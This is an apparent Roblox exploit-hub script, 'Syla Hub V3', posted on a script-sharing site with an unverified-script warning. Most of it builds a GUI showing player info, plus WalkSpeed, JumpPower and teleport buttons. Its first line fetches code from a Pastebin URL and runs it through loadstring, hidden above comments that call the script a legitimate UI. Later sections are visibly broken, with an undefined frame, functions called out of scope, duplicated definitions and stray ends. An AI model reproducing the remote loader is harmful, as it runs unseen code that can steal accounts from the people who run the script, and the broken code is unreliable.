-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] loadstring(game:HttpGet("https://pastebin.com/raw/Uc7NqVgR"))() game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Syla Hub V3", Text = "Script started!", Duration = 5 }) print("Syla Hub V3 STARTED") -- Syla Hub V3 -- UI foundation + legitimate client-side features -- Intended for use in your own Roblox experience / Studio testing. local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") -- Remove an older copy local oldGui = playerGui:FindFirstChild("SylaHubV3") if oldGui then oldGui:Destroy() end --// GUI local gui = Instance.new("ScreenGui") gui.Name = "SylaHubV3" gui.ResetOnSpawn = false gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling gui.Parent = playerGui --// Main window local main = Instance.new("Frame") main.Name = "Main" main.Size = UDim2.fromOffset(520, 330) main.Position = UDim2.new(0.5, -260, 0.5, -165) main.BackgroundColor3 = Color3.fromRGB(25, 25, 32) main.BorderSizePixel = 0 main.Parent = gui local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 12) corner.Parent = main --// Title bar local titleBar = Instance.new("Frame") titleBar.Size = UDim2.new(1, 0, 0, 55) titleBar.BackgroundColor3 = Color3.fromRGB(35, 35, 45) titleBar.BorderSizePixel = 0 titleBar.Parent = main local titleCorner = Instance.new("UICorner") titleCorner.CornerRadius = UDim.new(0, 12) titleCorner.Parent = titleBar local title = Instance.new("TextLabel") title.BackgroundTransparency = 1 title.Position = UDim2.fromOffset(18, 5) title.Size = UDim2.new(1, -70, 0, 45) title.Font = Enum.Font.GothamBold title.Text = "Syla Hub V3" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 22 title.TextXAlignment = Enum.TextXAlignment.Left title.Parent = titleBar --// Close button local close = Instance.new("TextButton") close.Size = UDim2.fromOffset(40, 40) close.Position = UDim2.new(1, -47, 0, 7) close.BackgroundColor3 = Color3.fromRGB(180, 55, 65) close.Text = "×" close.TextColor3 = Color3.fromRGB(255, 255, 255) close.TextSize = 25 close.Font = Enum.Font.GothamBold close.Parent = titleBar local closeCorner = Instance.new("UICorner") closeCorner.CornerRadius = UDim.new(0, 8) closeCorner.Parent = close close.MouseButton1Click:Connect(function() gui:Destroy() end) --// Sidebar local sidebar = Instance.new("Frame") sidebar.Size = UDim2.fromOffset(135, 265) sidebar.Position = UDim2.fromOffset(10, 65) sidebar.BackgroundColor3 = Color3.fromRGB(30, 30, 39) sidebar.BorderSizePixel = 0 sidebar.Parent = main local sidebarCorner = Instance.new("UICorner") sidebarCorner.CornerRadius = UDim.new(0, 9) sidebarCorner.Parent = sidebar --// Content area local content = Instance.new("Frame") content.Size = UDim2.new(1, -165, 1, -75) content.Position = UDim2.fromOffset(155, 65) content.BackgroundTransparency = 1 content.Parent = main local function clearContent() for _, child in ipairs(content:GetChildren()) do child:Destroy() end end local function makeLabel(text, position, size) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Position = position label.Size = size label.Font = Enum.Font.Gotham label.Text = text label.TextColor3 = Color3.fromRGB(225, 225, 230) label.TextSize = 15 label.TextWrapped = true label.TextXAlignment = Enum.TextXAlignment.Left label.Parent = content return label end local function makeButton(text, y, callback) local button = Instance.new("TextButton") button.Size = UDim2.new(1, -20, 0, 42) button.Position = UDim2.fromOffset(10, y) button.BackgroundColor3 = Color3.fromRGB(45, 45, 58) button.BorderSizePixel = 0 button.Font = Enum.Font.GothamSemibold button.Text = text button.TextColor3 = Color3.fromRGB(245, 245, 250) button.TextSize = 14 button.Parent = sidebar local buttonCorner = Instance.new("UICorner") buttonCorner.CornerRadius = UDim.new(0, 7) buttonCorner.Parent = button button.MouseEnter:Connect(function() TweenService:Create( button, TweenInfo.new(0.15), {BackgroundColor3 = Color3.fromRGB(60, 60, 75)} ):Play() end) button.MouseLeave:Connect(function() TweenService:Create( button, TweenInfo.new(0.15), {BackgroundColor3 = Color3.fromRGB(45, 45, 58)} ):Play() end) button.MouseButton1Click:Connect(callback) return button end --// Home local function showHome() clearContent() makeLabel( "Welcome to Syla Hub V3!", UDim2.fromOffset(10, 10), UDim2.new(1, -20, 0, 40) ).TextSize = 22 makeLabel( "A simple hub UI for your Roblox experience.\nUse the tabs on the left to explore the available features.", UDim2.fromOffset(10, 55), UDim2.new(1, -20, 0, 70) ) local playerName = makeLabel( "Player: " .. player.Name, UDim2.fromOffset(10, 135), UDim2.new(1, -20, 0, 30) ) local placeInfo = makeLabel( "Place ID: " .. tostring(game.PlaceId), UDim2.fromOffset(10, 170), UDim2.new(1, -20, 0, 30) ) makeLabel( "Syla Hub V3 • UI Edition", UDim2.fromOffset(10, 220), UDim2.new(1, -20, 0, 30) ).TextColor3 = Color3.fromRGB(170, 170, 180) end --// Player information local function showPlayer() clearContent() makeLabel( "Player", UDim2.fromOffset(10, 10), UDim2.new(1, -20, 0, 40) ).TextSize = 22 makeLabel( "Username: " .. player.Name .. "\nDisplay name: " .. player.DisplayName .. "\nUser ID: " .. tostring(player.UserId), UDim2.fromOffset(10, 60), UDim2.new(1, -20, 0, 100) ) end --// Legitimate utility page local function showUtilities() clearContent() makeLabel( "Utilities", UDim2.fromOffset(10, 10), UDim2.new(1, -20, 0, 40) ).TextSize = 22 local status = makeLabel( "Ready.", UDim2.fromOffset(10, 55), UDim2.new(1, -20, 0, 40) ) local refresh = Instance.new("TextButton") refresh.Size = UDim2.fromOffset(180, 42) refresh.Position = UDim2.fromOffset(10, 105) refresh.BackgroundColor3 = Color3.fromRGB(45, 45, 58) refresh.Text = "Refresh Player Info" refresh.TextColor3 = Color3.fromRGB(255, 255, 255) refresh.Font = Enum.Font.GothamSemibold refresh.TextSize = 14 refresh.Parent = content local refreshCorner = Instance.new("UICorner") refreshCorner.CornerRadius = UDim.new(0, 7) refreshCorner.Parent = refresh refresh.MouseButton1Click:Connect(function() status.Text = "Player: " .. player.Name .. "\nHealth: " .. (player.Character and player.Character:FindFirstChildOfClass("Humanoid") and math.floor(player.Character:FindFirstChildOfClass("Humanoid").Health) or "N/A") task.delay(3, function() if status then status.Text = "Ready." end end) end) end --// Sidebar buttons makeButton("Home", 10, showHome) makeButton("Player", 60, showPlayer) makeButton("Utilities", 110, showUtilities) --// Dragging local dragging = false local dragStart local startPosition titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPosition = main.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragStart = dragStart or input.Position end end) game:GetService("UserInputService").InputChanged:Connect(function(input) if dragging and ( input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch ) then local delta = input.Position - dragStart main.Position = UDim2.new( startPosition.X.Scale, startPosition.X.Offset + delta.X, startPosition.Y.Scale, startPosition.Y.Offset + delta.Y ) end end) -- Start on Home showHome() -- ⭐ FEATURES -- [ Feature 1 ] ON/OFF -- [ Feature 2 ] ON/OFF -- [ Feature 3 ] ON/OFF -- [ Feature 4 ] ON/OFF -- [ Feature 5 ] ON/OFF -- Status: Ready local function showFeatures() clearContent() local title = Instance.new("TextLabel") title.Parent = content title.Size = UDim2.new(1, -20, 0, 40) title.Position = UDim2.new(0, 10, 0, 10) title.BackgroundTransparency = 1 title.Text = "⭐ Features" title.TextSize = 24 title.Font = Enum.Font.GothamBold title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextXAlignment = Enum.TextXAlignment.Left makeButton("Features", 160, showFeatures) local status = Instance.new("TextLabel") status.Parent = content status.Size = UDim2.new(1, -20, 0, 30) status.Position = UDim2.new(0, 10, 0, 55) status.BackgroundTransparency = 1 status.Text = "Status: Ready" status.TextSize = 14 status.Font = Enum.Font.Gotham status.TextColor3 = Color3.fromRGB(180, 180, 180) status.TextXAlignment = Enum.TextXAlignment.Left local function featureButton(text, callback) local button = Instance.new("TextButton") button.Parent = content button.Size = UDim2.new(1, -20, 0, 42) button.BackgroundColor3 = Color3.fromRGB(35, 35, 45) button.Text = text button.TextSize = 16 button.Font = Enum.Font.GothamMedium button.TextColor3 = Color3.fromRGB(255, 255, 255) local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 8) corner.Parent = button button.MouseButton1Click:Connect(callback) return button end featureButton("🔄 Refresh Player Info", function() showPlayer() end) featureButton("♻️ Reset Character", function() local character = player.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.Health = 0 end end) featureButton("🏃 WalkSpeed 32", function() local character = player.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.WalkSpeed = 32 end end) featureButton("🧹 Clear UI", function() clearContent() status.Text = "Status: UI Cleared" end) featureButton("🦘 JumpPower 75", function() local character = player.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.UseJumpPower = true humanoid.JumpPower = 75 end end) featureButton("📍 Teleport to Spawn", function() local character = player.Character local root = character and character:FindFirstChild("HumanoidRootPart") local spawn = workspace:FindFirstChildOfClass("SpawnLocation") if root and spawn then root.CFrame = spawn.CFrame + Vector3.new(0, 3, 0) end end) end makeButton("Features", 160, showFeatures) local animationsEnabled = true featureButton("✨ Animations: ON", function() animationsEnabled = not animationsEnabled if animationsEnabled then -- Enable animations else -- Disable animations end end) featureButton("✨ Animations: ON", function() -- Toggle your existing UI animations here end) featureButton("🔔 Notifications: ON", function() -- Toggle notifications here end) featureButton("🧹 Reset Settings", function() -- Restore default settings end) local animationsEnabled = true local notificationsEnabled = true local mobileModeEnabled = true local function showSettings() clearContent() featureButton("✨ Animations: " .. (animationsEnabled and "ON" or "OFF"), function() animationsEnabled = not animationsEnabled showSettings() end) featureButton("🔔 Notifications: " .. (notificationsEnabled and "ON" or "OFF"), function() notificationsEnabled = not notificationsEnabled showSettings() end) featureButton("📱 Mobile Mode: " .. (mobileModeEnabled and "ON" or "OFF"), function() mobileModeEnabled = not mobileModeEnabled showSettings() end) featureButton("🎨 UI Transparency", function() -- Add transparency selector here end) featureButton("🔄 Reset Settings", function() animationsEnabled = true notificationsEnabled = true mobileModeEnabled = true showSettings() end) end -- Settings local animationsEnabled = true local notificationsEnabled = true local mobileModeEnabled = true local transparencyLevel = 0 local function applyTransparency() -- Change these to the actual UI objects in your hub if needed showSettings() mainFrame.BackgroundTransparency = transparencyLevel end end local function showSettings() clearContent() featureButton("✨ Animations: " .. (animationsEnabled and "ON" or "OFF"), function() animationsEnabled = not animationsEnabled showSettings() end) featureButton("🔔 Notifications: " .. (notificationsEnabled and "ON" or "OFF"), function() notificationsEnabled = not notificationsEnabled showSettings() end) featureButton("📱 Mobile Mode: " .. (mobileModeEnabled and "ON" or "OFF"), function() mobileModeEnabled = not mobileModeEnabled showSettings() end) featureButton("🎨 UI Transparency", function() if transparencyLevel == 0 then transparencyLevel = 0.25 elseif transparencyLevel == 0.25 then transparencyLevel = 0.5 elseif transparencyLevel == 0.5 then transparencyLevel = 0.75 else transparencyLevel = 0 end applyTransparency() showSettings() end) featureButton("🔄 Reset Settings", function() animationsEnabled = true notificationsEnabled = true mobileModeEnabled = true transparencyLevel = 0 applyTransparency() showSettings() end) end print("Syla Hub V3: script started") print("Syla Hub V3: creating loading UI")